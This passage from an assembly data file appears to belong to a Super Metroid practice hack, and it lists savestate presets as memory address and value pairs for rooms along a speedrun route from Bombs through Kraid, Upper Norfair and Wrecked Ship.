$0A1E, $0E04 ; More position/state dw $0AF6, $0580 ; Samus X dw $0AFA, $02A8 ; Samus Y dw #$FFFF preset_kpdr25_bombs_first_missiles: dw #preset_kpdr25_bombs_morph ; Bombs: Morph dw $078D, $8EDA ; DDB dw $079B, $A107 ; MDB dw $090F, $7001 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $E800 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0001 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09A2, $0004 ; Equipped Items dw $09A4, $0004 ; Collected Items dw $0A1C, $000C ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $00CB ; Samus X dw $0AFA, $008B ; Samus Y dw $D872, $0400 ; Items dw #$FFFF preset_kpdr25_bombs_reverse_pit: dw #preset_kpdr25_bombs_first_missiles ; Bombs: First Missiles dw $078D, $8EB6 ; DDB dw $079B, $97B5 ; MDB dw $07F5, $0003 ; Music Track dw $090F, $8000 ; Screen subpixel X position dw $0913, $C000 ; Screen subpixel Y position dw $0917, $0000 ; Layer 2 X position dw $09C6, $0005 ; Missiles dw $09C8, $0005 ; Max missiles dw $0AF6, $007B ; Samus X dw $D874, $0004 ; Items dw #$FFFF preset_kpdr25_bombs_climb: dw #preset_kpdr25_bombs_reverse_pit ; Bombs: Reverse Pit dw $078D, $8B92 ; DDB dw $079B, $975C ; MDB dw $07F3, $0009 ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $6000 ; Screen subpixel X position dw $0913, $AC00 ; Screen subpixel Y position dw $0A1C, $0008 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $003C ; Samus X dw $D820, $0001 ; Events dw $D8B2, $0400 ; Doors dw #$FFFF preset_kpdr25_bombs_parlor: dw #preset_kpdr25_bombs_climb ; Bombs: Climb dw $078D, $8B7A ; DDB dw $079B, $96BA ; MDB dw $0911, $0100 ; Screen X position in pixels dw $0913, $2000 ; Screen subpixel Y position dw $0917, $00C0 ; Layer 2 X position dw $0A1C, $000F ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $0166 ; Samus X dw $0AFA, $005B ; Samus Y dw #$FFFF preset_kpdr25_bombs_bomb_torizo: dw #preset_kpdr25_bombs_parlor ; Bombs: Parlor dw $078D, $8982 ; DDB dw $079B, $9879 ; MDB dw $0911, $0200 ; Screen X position in pixels dw $0913, $A400 ; Screen subpixel Y position dw $0917, $0180 ; Layer 2 X position dw $09C6, $0000 ; Missiles dw $0A1C, $000B ; Samus position/state dw $0AF6, $02C3 ; Samus X dw $0AFA, $008B ; Samus Y dw $D8B2, $2400 ; Doors dw #$FFFF preset_kpdr25_bombs_alcatraz: dw #preset_kpdr25_bombs_bomb_torizo ; Bombs: Bomb Torizo dw $078D, $8BAA ; DDB dw $090F, $E000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $7C00 ; Screen subpixel Y position dw $0917, $0000 ; Layer 2 X position dw $09A2, $1004 ; Equipped Items dw $09A4, $1004 ; Collected Items dw $09C6, $0005 ; Missiles dw $0A1C, $0012 ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $002D ; Samus X dw $D828, $0004 ; Bosses dw $D870, $0080 ; Items dw $D8B2, $2C00 ; Doors dw #$FFFF preset_kpdr25_bombs_terminator: dw #preset_kpdr25_bombs_alcatraz ; Bombs: Alcatraz dw $078D, $8BB6 ; DDB dw $079B, $92FD ; MDB dw $090F, $C000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $4000 ; Screen subpixel Y position dw $0917, $00C0 ; Layer 2 X position dw $0A1C, $001F ; Samus position/state dw $0A1E, $0404 ; More position/state dw $0AF6, $012F ; Samus X dw $0AFA, $00A9 ; Samus Y dw #$FFFF preset_kpdr25_bombs_mushrooms: dw #preset_kpdr25_bombs_terminator ; Bombs: Terminator dw $078D, $8BE6 ; DDB dw $079B, $99BD ; MDB dw $090F, $7000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $1800 ; Screen subpixel Y position dw $0915, $0600 ; Screen Y position in pixels dw $0917, $0001 ; Layer 2 X position dw $0919, $0480 ; Layer 2 Y position dw $09C2, $008B ; Health dw $09C4, $00C7 ; Max health dw $0A1C, $0012 ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $0037 ; Samus X dw $0AFA, $068B ; Samus Y dw $D870, $0180 ; Items dw #$FFFF preset_kpdr25_kraid_green_brinstar_elevator: dw #preset_kpdr25_bombs_mushrooms ; Bombs: Mushrooms dw $078D, $8C22 ; DDB dw $079B, $9938 ; MDB dw $07F5, $0003 ; Music Track dw $090F, $0000 ; Screen subpixel X position dw $0913, $C000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $0A1C, $0000 ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0080 ; Samus X dw $0AFA, $0089 ; Samus Y dw #$FFFF preset_kpdr25_kraid_dachora_room: dw #preset_kpdr25_kraid_green_brinstar_elevator ; Kraid: Green Brinstar Elevator dw $078D, $8D4E ; DDB dw $079B, $9AD9 ; MDB dw $07F3, $000F ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $B000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $061A ; Screen Y position in pixels dw $0919, $0493 ; Layer 2 Y position dw $09C2, $009A ; Health dw $09C6, $0000 ; Missiles dw $09CA, $0004 ; Supers dw $09CC, $0005 ; Max supers dw $0A1C, $000B ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $00AA ; Samus X dw $0AFA, $068B ; Samus Y dw $D872, $0401 ; Items dw $D8B4, $0006 ; Doors dw #$FFFF preset_kpdr25_kraid_big_pink: dw #preset_kpdr25_kraid_dachora_room ; Kraid: Dachora Room dw $078D, $8CE2 ; DDB dw $079B, $9CB3 ; MDB dw $090F, $D000 ; Screen subpixel X position dw $0911, $0600 ; Screen X position in pixels dw $0913, $2FFF ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0480 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $009F ; Health dw $0AF6, $06C0 ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr25_kraid_green_hills: dw #preset_kpdr25_kraid_big_pink ; Kraid: Big Pink dw $078D, $8DAE ; DDB dw $079B, $9D19 ; MDB dw $090F, $C000 ; Screen subpixel X position dw $0911, $0300 ; Screen X position in pixels dw $0913, $0800 ; Screen subpixel Y position dw $0915, $060F ; Screen Y position in pixels dw $0917, $0240 ; Layer 2 X position dw $0919, $048B ; Layer 2 Y position dw $09A6, $1000 ; Beams dw $09A8, $1000 ; Beams dw $09C6, $0005 ; Missiles dw $09C8, $000A ; Max missiles dw $09CA, $0003 ; Supers dw $0AF6, $0380 ; Samus X dw $0AFA, $068B ; Samus Y dw $D872, $04C1 ; Items dw $D8B4, $0206 ; Doors dw #$FFFF preset_kpdr25_kraid_red_tower_descent: dw #preset_kpdr25_kraid_green_hills ; Kraid: Green Hills dw $078D, $8E92 ; DDB dw $079B, $9FBA ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0911, $0500 ; Screen X position in pixels dw $0913, $E000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $03C0 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C6, $0007 ; Missiles dw $09CA, $0004 ; Supers dw $0A1C, $0009 ; Samus position/state dw $0AF6, $0574 ; Samus X dw $0AFA, $00AB ; Samus Y dw $D8B6, $0008 ; Doors dw #$FFFF preset_kpdr25_kraid_bat_room: dw #preset_kpdr25_kraid_red_tower_descent ; Kraid: Red Tower Descent dw $078D, $8F0A ; DDB dw $079B, $A253 ; MDB dw $07F3, $0012 ; Music Bank dw $090F, $F000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $091A ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $06D3 ; Layer 2 Y position dw $0AF6, $005E ; Samus X dw $0AFA, $098B ; Samus Y dw #$FFFF preset_kpdr25_kraid_spazer: dw #preset_kpdr25_kraid_bat_room ; Kraid: Bat Room dw $078D, $9102 ; DDB dw $079B, $A408 ; MDB dw $090F, $2000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $5000 ; Screen subpixel Y position dw $0915, $001D ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0919, $0015 ; Layer 2 Y position dw $09CA, $0003 ; Supers dw $0AF6, $01B3 ; Samus X dw $0AFA, $008B ; Samus Y dw $D8B6, $8008 ; Doors dw #$FFFF preset_kpdr25_kraid_warehouse_entrance: dw #preset_kpdr25_kraid_spazer ; Kraid: Spazer dw $078D, $A348 ; DDB dw $079B, $CF80 ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $7400 ; Screen subpixel Y position dw $0915, $0100 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0100 ; Layer 2 Y position dw $09A6, $1004 ; Beams dw $09A8, $1004 ; Beams dw $09CA, $0004 ; Supers dw $0A1C, $000B ; Samus position/state dw $0AF6, $0048 ; Samus X dw $0AFA, $018B ; Samus Y dw $D874, $0404 ; Items dw #$FFFF preset_kpdr25_kraid_baby_kraid: dw #preset_kpdr25_kraid_warehouse_entrance ; Kraid: Warehouse Entrance dw $078D, $9156 ; DDB dw $079B, $A4DA ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $00F4 ; Screen X position in pixels dw $0913, $9400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $00B7 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $008B ; Health dw $09C6, $0009 ; Missiles dw $09CA, $0003 ; Supers dw $0A1C, $0011 ; Samus position/state dw $0AF6, $0154 ; Samus X dw $0AFA, $00AB ; Samus Y dw #$FFFF preset_kpdr25_kraid_kraid_2: dw #preset_kpdr25_kraid_baby_kraid ; Kraid: Baby Kraid dw $078D, $919E ; DDB dw $079B, $A56B ; MDB dw $07F3, $0027 ; Music Bank dw $07F5, $0006 ; Music Track dw $090F, $5000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $3800 ; Screen subpixel Y position dw $0915, $0100 ; Screen Y position in pixels dw $0917, $0100 ; Layer 2 X position dw $0919, $0100 ; Layer 2 Y position dw $09C2, $0085 ; Health dw $09C6, $0006 ; Missiles dw $09CA, $0004 ; Supers dw $0A1C, $0089 ; Samus position/state dw $0A1E, $1508 ; More position/state dw $0AF6, $01DB ; Samus X dw $0AFA, $018B ; Samus Y dw $D8B8, $0024 ; Doors dw #$FFFF preset_kpdr25_kraid_leaving_varia: dw #preset_kpdr25_kraid_kraid_2 ; Kraid: Kraid dw $078D, $91DA ; DDB dw $079B, $A6E2 ; MDB dw $07F5, $0003 ; Music Track dw $090F, $A000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $B000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09A2, $1005 ; Equipped Items dw $09A4, $1005 ; Collected Items dw $09C2, $009E ; Health dw $09C6, $000A ; Missiles dw $09CA, $0002 ; Supers dw $0A1C, $000A ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $0031 ; Samus X dw $0AFA, $008B ; Samus Y dw $D828, $0104 ; Bosses dw $D876, $0001 ; Items dw $D8B8, $0064 ; Doors dw #$FFFF preset_kpdr25_kraid_baby_kraid_exiting: dw #preset_kpdr25_kraid_leaving_varia ; Kraid: Leaving Varia dw $078D, $91CE ; DDB dw $079B, $A56B ; MDB dw $0913, $3BFF ; Screen subpixel Y position dw $0915, $0100 ; Screen Y position in pixels dw $0919, $0100 ; Layer 2 Y position dw $09C2, $0096 ; Health dw $0AF6, $0044 ; Samus X dw $0AFA, $018B ; Samus Y dw $D8B8, $00E4 ; Doors dw #$FFFF preset_kpdr25_kraid_kraid_etank: dw #preset_kpdr25_kraid_baby_kraid_exiting ; Kraid: Baby Kraid (Exiting) dw $078D, $916E ; DDB dw $079B, $A471 ; MDB dw $07F3, $0012 ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $B000 ; Screen subpixel X position dw $0913, $8000 ; Screen subpixel Y position dw $0915, $00FF ; Screen Y position in pixels dw $0919, $00FF ; Layer 2 Y position dw $09C6, $0008 ; Missiles dw $09CA, $0005 ; Supers dw $0AF6, $0045 ; Samus X dw $D8B8, $00ED ; Doors dw #$FFFF preset_kpdr25_upper_norfair_business_center: dw #preset_kpdr25_kraid_kraid_etank ; Kraid: Kraid E-tank dw $078D, $9246 ; DDB dw $079B, $A7DE ; MDB dw $07F3, $0015 ; Music Bank dw $090F, $E000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $023B ; Screen Y position in pixels dw $0919, $01AC ; Layer 2 Y position dw $09C2, $012B ; Health dw $09C4, $012B ; Max health dw $09C6, $0009 ; Missiles dw $09CA, $0004 ; Supers dw $0AF6, $007C ; Samus X dw $0AFA, $02AB ; Samus Y dw $D874, $0C04 ; Items dw $D8B8, $00EF ; Doors dw #$FFFF preset_kpdr25_upper_norfair_leaving_hijump: dw #preset_kpdr25_upper_norfair_business_center ; Upper Norfair: Business Center dw $078D, $9426 ; DDB dw $079B, $A9E5 ; MDB dw $07F5, $0003 ; Music Track dw $090F, $C000 ; Screen subpixel X position dw $0913, $4800 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09A2, $1105 ; Equipped Items dw $09A4, $1105 ; Collected Items dw $09C2, $018F ; Health dw $09C4, $018F ; Max health dw $09CA, $0003 ; Supers dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $0048 ; Samus X dw $0AFA, $00BB ; Samus Y dw $D876, $0121 ; Items dw $D8B8, $20EF ; Doors dw $D8BA, $0001 ; Doors dw #$FFFF preset_kpdr25_upper_norfair_precathedral: dw #preset_kpdr25_upper_norfair_leaving_hijump ; Upper Norfair: Leaving Hijump dw $078D, $941A ; DDB dw $079B, $A7DE ; MDB dw $07F5, $0005 ; Music Track dw $090F, $A000 ; Screen subpixel X position dw $0913, $BFFF ; Screen subpixel Y position dw $0915, $02F6 ; Screen Y position in pixels dw $0919, $0238 ; Layer 2 Y position dw $09C6, $000E ; Missiles dw $09C8, $000F ; Max missiles dw $0AF6, $00B8 ; Samus X dw $0AFA, $038B ; Samus Y dw $D876, $01A1 ; Items dw #$FFFF preset_kpdr25_upper_norfair_rising_tide: dw #preset_kpdr25_upper_norfair_precathedral ; Upper Norfair: Pre-Cathedral dw $078D, $92B2 ; DDB dw $079B, $A788 ; MDB dw $090F, $9000 ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0913, $2800 ; Screen subpixel Y position dw $0915, $0100 ; Screen Y position in pixels dw $0917, $0200 ; Layer 2 X position dw $0919, $0100 ; Layer 2 Y position dw $09C6, $000F ; Missiles dw $09CA, $0002 ; Supers dw $0AF6, $02D7 ; Samus X dw $0AFA, $018B ; Samus Y dw $D8B8, $26EF ; Doors dw #$FFFF preset_kpdr25_upper_norfair_bubble_mountain: dw #preset_kpdr25_upper_norfair_rising_tide ; Upper Norfair: Rising Tide dw $078D, $929A ; DDB dw $079B, $AFA3 ; MDB dw $090F, $A000 ; Screen subpixel X position dw $0911, $0400 ; Screen X position in pixels dw $0913, $1000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0300 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0179 ; Health dw $0AF6, $04BC ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr25_upper_norfair_bat_cave: dw #preset_kpdr25_upper_norfair_bubble_mountain ; Upper Norfair: Bubble Mountain dw $078D, $973E ; DDB dw $079B, $ACB3 ; MDB dw $090F, $E000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $5400 ; Screen subpixel Y position dw $0917, $00C0 ; Layer 2 X position dw $09C2, $0188 ; Health dw $0AF6, $01D0 ; Samus X dw $D8BA, $0011 ; Doors dw #$FFFF preset_kpdr25_upper_norfair_speed_hallway: dw #preset_kpdr25_upper_norfair_bat_cave ; Upper Norfair: Bat Cave dw $078D, $958E ; DDB dw $079B, $B07A ; MDB dw $090F, $EFFF ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $1400 ; Screen subpixel Y position dw $0915, $0012 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0012 ; Layer 2 Y position dw $0AF6, $00C5 ; Samus X dw #$FFFF preset_kpdr25_upper_norfair_bat_cave_return: dw #preset_kpdr25_upper_norfair_speed_hallway ; Upper Norfair: Speed Hallway dw $078D, $95BE ; DDB dw $079B, $ACF0 ; MDB dw $090F, $C000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $001B ; Screen Y position in pixels dw $0919, $0014 ; Layer 2 Y position dw $09A2, $3105 ; Equipped Items dw $09A4, $3105 ; Collected Items dw $09CA, $0001 ; Supers dw $0A1C, $000C ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $002D ; Samus X dw $0B3F, $0104 ; Blue suit dw $D822, $0020 ; Events dw $D878, $0004 ; Items dw $D8BA, $0031 ; Doors dw #$FFFF preset_kpdr25_upper_norfair_single_chamber: dw #preset_kpdr25_upper_norfair_bat_cave_return ; Upper Norfair: Bat Cave (return) dw $078D, $97AA ; DDB dw $079B, $ACB3 ; MDB dw $090F, $7FFF ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0915, $00FB ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0919, $00BC ; Layer 2 Y position dw $09C2, $018B ; Health dw $09CA, $0004 ; Supers dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $01B3 ; Samus X dw $0AFA, $018B ; Samus Y dw $0B3F, $0000 ; Blue suit dw #$FFFF preset_kpdr25_upper_norfair_leaving_wave: dw #preset_kpdr25_upper_norfair_single_chamber ; Upper Norfair: Single Chamber dw $078D, $961E ; DDB dw $079B, $ADDE ; MDB dw $07F5, $0003 ; Music Track dw $090F, $8000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $9C00 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09A6, $1005 ; Beams dw $09A8, $1005 ; Beams dw $09C6, $0012 ; Missiles dw $09C8, $0014 ; Max missiles dw $09CA, $0002 ; Supers dw $0A1C, $001A ; Samus position/state dw $0A1E, $0304 ; More position/state dw $0AF6, $009C ; Samus X dw $0AFA, $007B ; Samus Y dw $D878, $001C ; Items dw $D8BA, $00F1 ; Doors dw #$FFFF preset_kpdr25_upper_norfair_leaving_single_chamber: dw #preset_kpdr25_upper_norfair_leaving_wave ; Upper Norfair: Leaving Wave dw $078D, $9606 ; DDB dw $079B, $AD5E ; MDB dw $07F5, $0005 ; Music Track dw $090F, $C000 ; Screen subpixel X position dw $0913, $A400 ; Screen subpixel Y position dw $0915, $0015 ; Screen Y position in pixels dw $0919, $000F ; Layer 2 Y position dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $008E ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr25_upper_norfair_frog_speedway: dw #preset_kpdr25_upper_norfair_leaving_single_chamber ; Upper Norfair: Leaving Single Chamber dw $078D, $956A ; DDB dw $079B, $AF72 ; MDB dw $090F, $1000 ; Screen subpixel X position dw $0913, $5400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09C2, $018F ; Health dw $09C6, $0014 ; Missiles dw $09CA, $0003 ; Supers dw $0A1C, $000A ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $0042 ; Samus X dw $0B3F, $0001 ; Blue suit dw #$FFFF preset_kpdr25_upper_norfair_entering_ice: dw #preset_kpdr25_upper_norfair_frog_speedway ; Upper Norfair: Frog Speedway dw $078D, $9816 ; DDB dw $079B, $A7DE ; MDB dw $090F, $6800 ; Screen subpixel X position dw $0913, $2400 ; Screen subpixel Y position dw $0915, $0309 ; Screen Y position in pixels dw $0919, $0246 ; Layer 2 Y position dw $09CA, $0002 ; Supers dw $0AF6, $0030 ; Samus X dw $0AFA, $0394 ; Samus Y dw $0B3F, $0000 ; Blue suit dw $D8B8, $2EEF ; Doors dw #$FFFF preset_kpdr25_upper_norfair_ice_escape: dw #preset_kpdr25_upper_norfair_entering_ice ; Upper Norfair: Entering Ice dw $078D, $935A ; DDB dw $079B, $A8B9 ; MDB dw $090F, $5001 ; Screen subpixel X position dw $0913, $7000 ; Screen subpixel Y position dw $0915, $0200 ; Screen Y position in pixels dw $0919, $0180 ; Layer 2 Y position dw $09A6, $1007 ; Beams dw $09A8, $1007 ; Beams dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $00C7 ; Samus X dw $0AFA, $028B ; Samus Y dw $D876, $01A5 ; Items dw #$FFFF preset_kpdr25_wrecked_ship_alpha_spark: dw #preset_kpdr25_upper_norfair_ice_escape ; Upper Norfair: Ice Escape dw $078D, $92EE ; DDB dw $079B, $A6A1 ; MDB dw $07F3, $0012 ; Music Bank dw $07F5, $0003 ; Music Track dw $090F, $3000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $0A1C, $0025 ; Samus position/state dw $0A1E, $0E04 ; More position/state dw $0AF6, $0080 ; Samus X dw $0AFA, $0087 ; Samus Y dw #$FFFF preset_kpdr25_wrecked_ship_red_tower: dw #preset_kpdr25_wrecked_ship_alpha_spark ; Wrecked Ship: Alpha Spark dw $078D, $910E ; DDB dw $079B, $A3DD ; MDB dw $07F5, $0005 ; Music Track dw $090F, $6C00 ; Screen subpixel X position dw $0913, $8800 ; Screen subpixel Y position dw $09C2, $0158 ; Health dw $09CA, $0003 ; Supers dw $0A1C, $0070 ; Samus position/state dw $0A1E, $0604 ; More position/state dw $0AF6, $0025 ; Samus X dw $0AFA, $0083 ; Samus Y dw #$FFFF preset_kpdr25_wrecked_ship_hellway: dw #preset_kpdr25_wrecked_ship_red_tower ; Wrecked Ship: Red Tower dw $078D, $90F6 ; DDB dw $079B, $A253 ; MDB dw $090F, $5000 ; Screen subpixel X position dw $0913, $A800 ; Screen subpixel Y position dw $0915, $0007 ; Screen Y position in pixels dw $0919, $0005 ; Layer 2 Y position dw $09C2, $015D ; Health dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $00C3 ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr25_wrecked_ship_alpha_power_bombs: dw #preset_kpdr25_wrecked_ship_hellway ; Wrecked Ship: Hellway dw $078D, $908A ; DDB dw $079B, $A322 ; MDB dw $090F, $FFFF ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $071C ; Screen Y position in pixels dw $0919, $071C ; Layer 2 Y position dw $09C2, $0155 ; Health dw $09CA, $0002 ; Supers dw $0A1C, $000A ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $0041 ; Samus X dw $0AFA, $078B ; Samus Y dw $D8B6, $A008 ; Doors dw #$FFFF preset_kpdr25_wrecked_ship_post_power_bombs: dw #preset_kpdr25_wrecked_ship_alpha_power_bombs ; Wrecked Ship: Alpha Power Bombs dw $078D, $9096 ; DDB dw $079B, $A3AE ; MDB dw $07F5, $0003 ; Music Track dw $090F, $F000 ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0913, $9000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0180 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $014B ; Health dw $09CE, $0005 ; Pbs dw $09D0, $0005 ; Max pbs dw $0A1C, $000B ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $02CA ; Samus X dw $0AFA, $008B ; Samus Y dw $D874, $0D04 ; Items dw #$FFFF preset_kpdr25_wrecked_ship_premoat: dw #preset_kpdr25_wrecked_ship_post_power_bombs ; Wrecked Ship: Post Power Bombs dw $078D, $90BA ; DDB dw $079B, $962A ; MDB dw $090F, $3000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $C000 ; Screen subpixel Y position dw $0917, $0000 ; Layer 2 X position dw $09CA, $0004 ; Supers dw $09CE, $0004 ; Pbs dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $007D ; Samus X dw $0AFA, $00AB ; Samus Y dw $D8B6, $B008 ; Doors dw #$FFFF preset_kpdr25_wrecked_ship_ocean_spark: dw #preset_kpdr25_wrecked_ship_premoat ; Wrecked Ship: Pre-Moat dw $078D, $8A36 ; DDB dw $079B, $95FF ; MDB dw $07F5, $0005 ; Music Track dw $090F, $C3FF ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $8400 ; Screen subpixel Y position dw $0917, $00C0 ; Layer 2 X position dw $09C2, $0136 ; Health dw $09C6, $0018 ; Missiles dw $09C8, $0019 ; Max missiles dw $09CE, $0002 ; Pbs dw $0A1C, $006F ; Samus position/state dw $0A1E, $0608 ; More position/state dw $0AF6, $01DB ; Samus X dw $0AFA, $0089 ; Samus Y dw $D870, $0190 ; Items dw $D8B0, $6000 ; Doors dw $D8B2, $2C01 ; Doors dw #$FFFF preset_kpdr25_wrecked_ship_ws_entrance: dw #preset_kpdr25_wrecked_ship_ocean_spark ; Wrecked Ship: Ocean Spark dw $078D, $8AEA ; DDB dw $079B, $93FE ; MDB dw $07F3, $000C ; Music Bank dw $090F, $B000 ; Screen subpixel X position dw $0911, $0700 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0400 ; Screen Y position in pixels dw $0917, $0380 ; Layer 2 X position dw $09C2, $00BC ; Health dw $09CA, $0003 ; Supers dw $0A1C, $0089 ; Samus position/state dw $0A1E, $1508 ; More position/state dw $0AF6, $07DB ; Samus X dw $0AFA, $048B ; Samus Y dw $D8B0, $7000 ; Doors dw #$FFFF preset_kpdr25_wrecked_ship_phantoon: dw #preset_kpdr25_wrecked_ship_ws_entrance ; Wrecked Ship: WS Entrance dw $078D, $A21C ; DDB dw $079B, $CC6F ; MDB dw $07F3, $0030 ; Music Bank dw $090F, $C000 ; Screen subpixel X position dw $0911, $0400 ; Screen X position in pixels dw $0913, $9000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0300 ; Layer 2 X position dw $09CA, $0001 ; Supers dw $0AF6, $04DB ; Samus X dw $0AFA, $008B ; Samus Y dw $D8C0, $0030 ; Doors dw #$FFFF preset_kpdr25_wrecked_ship_ws_shaft: dw #preset_kpdr25_wrecked_ship_phantoon ; Wrecked Ship: Phantoon dw $078D, $A2C4 ; DDB dw $07F5, $0006 ; Music Track dw $090F, $0000 ; Screen subpixel X position dw $0911, $01F3 ; Screen X position in pixels dw $0913, $F800 ; Screen subpixel Y position dw $0917, $0176 ; Layer 2 X position dw $09C2, $0120 ; Health dw $09CA, $0003 ; Supers dw $09CE, $0004 ; Pbs dw $0A1C, $001A ; Samus position/state dw $0A1E, $0304 ; More position/state dw $0AF6, $0293 ; Samus X dw $0AFA, $0055 ; Samus Y dw $D82A, $0100 ; Bosses dw $D8C0, $0070 ; Doors dw #$FFFF preset_kpdr25_wrecked_ship_post_ws_supers: dw #preset_kpdr25_wrecked_ship_ws_shaft ; Wrecked Ship: WS Shaft dw $078D, $A210 ; DDB dw $079B, $CDA8 ; MDB dw $090F, $6000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $FC00 ; Screen subpixel Y position dw $0917, $0000 ; Layer 2 X position dw $09CA, $0008 ; Supers dw $09CC, $000A ; Max supers dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $00C9 ; Samus X dw $0AFA, $008B ; Samus Y dw $D880, $0020 ; Items dw $D8C0, $0074 ; Doors dw #$FFFF preset_kpdr25_wrecked_ship_attic: dw #preset_kpdr25_wrecked_ship_post_ws_supers ; Wrecked Ship: Post WS Supers dw $078D, $A2E8 ; DDB dw $079B, $CAF6 ; MDB dw $090F, $3C00 ; Screen subpixel X position dw $0911, $0400 ; Screen X position in pixels dw $0913, $6800 ; Screen subpixel Y position dw $0917, $0300 ; Layer 2 X position dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $0445 ; Samus X dw $0AFA, $006B ; Samus Y dw #$FFFF preset_kpdr25_wrecked_ship_pre_bowling: dw #preset_kpdr25_wrecked_ship_attic ; Wrecked Ship: Attic dw $078D, $A1E0 ; DDB dw $079B, $93FE ; MDB dw $07F3, $000C ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $0800 ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0204 ; Screen Y position in pixels 